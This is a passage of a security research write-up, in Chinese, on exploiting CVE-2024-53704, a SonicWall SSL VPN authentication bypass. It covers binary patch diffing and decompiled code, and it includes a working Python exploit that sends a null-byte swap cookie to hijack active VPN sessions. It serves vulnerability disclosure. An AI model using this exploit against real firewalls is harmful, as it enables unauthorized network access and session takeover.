SonicWall CVE-2024-53704: SSL VPN会话劫持
作者:Jon Williams,高级安全工程师
发布日期:2025年2月10日
TL;DR
Bishop Fox研究人员成功利用了CVE-2024-53704,这是一个影响未打补丁的SonicWall防火墙的身份验证绕过漏洞,允许远程攻击者劫持活动的SSL VPN会话并获得未经授权的网络访问。虽然该漏洞需要大量的逆向工程才能发现,但利用本身很简单,强调了组织应用SonicWall 2025年1月补丁的紧迫性。
更新:2025年2月10日,包含完整的利用细节。
摘要
Bishop Fox研究人员成功利用了CVE-2024-53704,这是一个影响未打补丁的SonicWall防火墙SSL VPN组件的身份验证绕过漏洞。根据SonicWall的说法,SonicOS版本7.1.x(7.1.1-7058及更早版本)、7.1.2-7019和8.0.0-8035受到影响。研究人员确认攻击可以远程执行,无需身份验证,并能够劫持活动的SSL VPN客户端会话。
控制活动SSL VPN会话的攻击者可以读取用户的Virtual Office书签,获取NetExtender的客户端配置配置文件,打开VPN隧道,访问被劫持账户可用的私有网络,并注销会话(同时终止用户的连接)。
在CVE-2024-53704的初始公告中,SonicWall报告没有证据表明在野利用。尽管需要大量的逆向工程努力来发现和利用该漏洞,但利用本身相当简单。
Bishop Fox的负责任披露政策是在供应商通知之日起90天后公开披露细节。该问题由Computest Security的Daan Keuper、Thijs Alkemade和Khaled Nassar于2024年11月5日报告给SonicWall。SonicWall于2025年1月7日发布了补丁。在允许受影响的客户完成一个完整的补丁周期后,我们发布了利用细节。
识别漏洞
SonicWall于1月7日发布的初始公告本身没有提供足够的细节来寻找这个漏洞:
SSL VPN身份验证机制中的不当身份验证漏洞允许远程攻击者绕过身份验证。
幸运的是,两天后,Trend Micro的Zero Day Initiative(ZDI)发布了自己的公告,将CVSS评分从8.2(高)提高到9.8(严重),分享了初始供应商通知的日期(2024年11月5日),并添加了关键信息:
具体缺陷存在于处理Base64编码的会话cookie中。该问题源于身份验证算法的错误实现。攻击者可以利用此漏洞绕过系统上的身份验证。
这些信息足够详细,为我们寻找漏洞提供了坚实的线索。我们首先利用之前的研究来解密和提取固件版本7.1.2-7019和7.1.3-7015中的sonicosv二进制文件。然后使用BinDiff生成补丁差异报告,其中包括大量更改的函数(太多无法手动审查)。
为了聚焦于漏洞,我们在未打补丁的二进制文件中搜索字符串,以找到与SSL VPN会话cookie相关的函数。getSslvpnSessionFromCookie
函数看起来特别有希望,因此我们追踪交叉引用以识别使用该字符串的函数。我们慢慢地挖掘函数调用和交叉引用的网络,应用标签以帮助我们理解代码。尽管符号已从二进制文件中剥离,但日志消息通常用于识别函数名称,因此我们可以拼凑出代码正在做什么的理解。这是getSslvpnSessionFromCookie
函数在命名其函数调用后的样子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
02acb160 void* getSslvpnSessionFromCookie(char* cookie_string)
02acb160 {
02acb160 if (!cookie_string)
02acb222 return 0;
02acb171 uint64_t rax = strlen(cookie_string);
02acb17a if (rax == 32)
02acb17a {
02acb1af if (verifyCookieCheckSum(cookie_string, 32))
02acb1be /* tailcall */
02acb1be return maybe_verify_session(cookie_string, 1);
02acb17a }
02acb17a else if (rax == 44)
02acb180 {
02acb185 char* cookie_string_1 = wrap_b64decode(cookie_string);
02acb190 if (cookie_string_1)
02acb190 {
02acb1d0 if (verifyCookieCheckSum(cookie_string_1, 32))
02acb1d7 {
02acb1f8 void* result = maybe_verify_session(cookie_string_1, 1);
02acb211 maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x1fa);
02acb216 return result;
02acb1d7 }
02acb1e8 maybe_free_mem(cookie_string_1, "getSslvpnSessionFromCookie", 0x201);
02acb190 }
02acb180 }
02acb192 return nullptr;
02acb160 }
|
然后逻辑开始显现:getSslvpnSessionFromCookie
函数接受一个cookie字符串作为输入,检查其长度,并以两种方式之一解析它。如果是32个字符,它验证校验和,然后尝试将cookie与活动会话关联;如果是44个字符,它首先进行base64解码(到32个字符),然后执行与第一种情况相同的检查。这看起来非常有希望,因为它与ZDI公告中的细节一致。
我们检查了每个这些函数的起始地址与BinDiff中的地址,以识别哪些在打补丁版本中发生了变化。通过这种方式,我们确认我们标记为maybe_verify_session
的函数发生了变化:
仔细查看更改揭示了比较逻辑的更新,看起来像是我们期望的漏洞补丁:
然后我们深入反编译器解释的伪C代码,以理解函数正在做什么,并再次应用标记函数调用和变量的迭代过程,直到我们可以获得更清晰的画面。让我们逐步分解:
1
2
3
4
5
|
02acc210 void* maybe_verify_session(char* cookie_string, int32_t session_idx)
02acc210 {
02acc210 if (!cookie_string)
02acc2ee return 0;
02acc23b void* session = **(uint64_t**)(&data_6828180 + (uint64_t)session_idx * 56);
|
函数首先确保指向cookie字符串的指针不为空,然后计算堆栈上保存会话数据的位置(使用作为第二个输入参数传递的索引)。如果成功检索到会话数据,它进入循环以验证cookie字符串和会话ID是否匹配:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
02acc2b3 label_2acc2b3:
02acc2b3 return session;
...省略为简洁...
02acc26e if (session)
02acc26e {
02acc270 while (true)
02acc270 {
02acc270 int64_t idx = 0;
02acc278 while (true)
02acc278 {
02acc278 char cookie_char = cookie_string[idx];
02acc27e if (cookie_char)
02acc27e {
02acc280 char session_id_char = *(uint8_t*)((char*)session + idx + 28);
02acc288 if (session_id_char)
02acc288 {
02acc28c if (cookie_char != session_id_char)
02acc28c break;
02acc28e idx += 1;
02acc296 if (idx != ' ')
02acc296 continue;
02acc288 }
02acc27e }
02acc2a4 j_sub_333fec0(rdi);
02acc2a4 goto label_2acc2b3;
02acc278 }
02acc2b8 session = *(uint64_t*)((char*)session + 8);
02acc2c0 if (!session)
02acc2c0 break;
02acc270 }
02acc26e }
02acc2d1 j_sub_333fec0(rdi);
02acc2e0 return 0;
|
如果匹配,函数跳转返回会话ID;否则,返回0。你能发现逻辑缺陷吗?在这里:
1
2
3
4
5
6
7
8
|
02acc27e if (cookie_char)
02acc27e {
...省略为简洁...
02acc27e }
02acc2a4 j_sub_333fec0(rdi);
02acc2a4 goto label_2acc2b3; # 返回会话;
|
if语句后没有else子句,因此如果循环遇到cookie字符串中的空字符,它只是跳过验证并跳转到返回会话ID。假设可以在base64编码的cookie中输入空字节,我们确信找到了身份验证绕过!
构建利用
接下来,我们需要找到一个攻击向量。为了接近这一点,我们开始搜索调用getSslvpnSessionFromCookie
函数的函数。我们找到了21个,但在追踪它们以确定哪些连接到具有用户可控输入的源时遇到了困难。
希望稍微简化过程,我们转向动态分析。在实验室环境中,我们配置了一个VPN用户,并确认该用户可以登录到Virtual Office。然后我们开始探查前端对后端进行了哪些API调用。不幸的是,这导致我们走上了错误的道路,因为我们观察到基于Web的Virtual Office使用JSON Web令牌(JWT)进行会话授权,而不是我们逆向工程中预期的32或44个字符的cookie。
然后我们转向NetExtender(SonicWall的SSL VPN客户端),在尝试拦截客户端和服务器之间的身份验证流量失败后,我们发现了nxBender,一个复制NetExtender协议的第三方Python客户端。这证明是我们需要的突破,因为分析nxBender代码揭示了身份验证流和相应的服务器路径:
- 发送POST请求到
/cgi-bin/userLogin
,用户名、密码、域和login=true在POST正文中
- 接收服务器响应,包含Set-Cookie头,其中有一个base64编码的swap cookie值
- 发送GET请求到
/cgi-bin/sslvpnclient?launchplatform=
,swap cookie在请求头中
- 接收服务器响应,包含Set-Cookie头,其中解码的swap cookie值(用户的会话ID),从而确认会话有效
在初始POST请求到登录端点后,swap cookie用于验证所有后续操作,因此它似乎是我们需要的auth绕过利用的注入点。我们在未打补丁的sonicosv二进制文件中搜索字符串/cgi-bin/userLogin
,并检查交叉引用以识别nxAuthenticate
函数作为我们攻击的来源。我们在其调用中找到了nxSendAuthResponse
函数,该函数又调用getSslvpnSessionFromCookie
函数,因此确认它是一个可行的攻击路径。
将我们学到的攻击内容放在一起,有效负载似乎足够简单——我们只需要base64编码32个空字符,并将其作为swap cookie值在GET请求中发送到/cgi-bin/sslvpnclient?launchplatform=
。以下Python脚本完成了这个技巧:
1
2
3
4
5
6
7
8
9
|
import base64, requests, urllib3, warnings
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
resp = requests.get(
"https://192.168.50.189:4433/cgi-bin/sslvpnclient?launchplatform=",
cookies={"swap": base64.b64encode(b"\x00" * 32).decode()},
verify=False
)
print(resp.headers)
print(resp.body)
|
这是我们测试目标返回的响应头:
1
|
{'Server': 'SonicWALL SSLVPN Web Server', 'Set-Cookie': 'swap=jelislitadivispawravigidefraswee; path=/;', 'Connection': 'close', 'Content-Type': 'text/html; charset=UTF-8'}
|
包含了swap cookie,表明我们已被授予属于活动会话的会话ID。响应体包括NetExtender的连接配置文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<p><html><head><title>SonicWALL -
Virtual Office</title><meta http-equiv='pragma'
content='no-cache'><meta http-equiv='cache-control'
content='no-cache'><meta http-equiv='cache-control'
content='must-revalidate'><meta http-equiv='Content-Type'
content='text/html;charset=UTF-8'><link href='/styleblueblackgrey.css'
rel=stylesheet type='text/css'><script>function neLauncherInit(){</p>
<p>NELaunchX1.userName = "user";</p>
<p>NELaunchX1.domainName = "LocalDomain";</p>
<p>SessionId = QkMO6MFoLUdjNiCNLyakRw==;</p>
<p>Route = 192.168.168.0/255.255.255.0</p>
<p>ipv6Support = no</p>
<p>pppFrameEncoded = 0;</p>
<p>PppPref = async</p>
<p>TunnelAllMode = 0;</p>
<p>ExitAfterDisconnect = 0;</p>
<p>UninstallAfterExit = 0;</p>
<p>NoProfileCreate = 1;</p>
<p>AllowSavePassword = 0;</p>
<p>AllowSaveUser = 1;</p>
<p>AllowSavePasswordInKeychain = 0</p>
<p>AllowSavePasswordInKeystore = 0</p>
<p>ClientIPLower = "192.168.168.169";</p>
<p>ClientIPHigh = "192.168.168.200";</p>
<p>}</script></head></html></p>
|
这样,我们能够识别被劫持会话的用户名和域,以及用户可以通过SSL VPN访问的私有路由。我们进行了额外的测试,并了解了关于利用的一些重要事情:
- 返回的swap cookie中的会话ID与最旧的活动SSL VPN会话关联
- 如果没有活动的SSL VPN会话,利用失败(服务器关闭连接,没有响应)
- 如果攻击者或受害者注销会话(通过发送GET请求到
/cgi-bin/userLogout
与swap cookie),会话在服务器上终止,所有方立即失去访问权限
- 其他操作似乎不会干扰受害者的会话
- 打补丁的防火墙通过丢弃连接而不响应来处理利用尝试,这与所有版本处理未经授权请求的方式一致
由于这些特性,我们无法设计一个不涉及利用目标漏洞的测试,然而,我们发现利用尝试似乎没有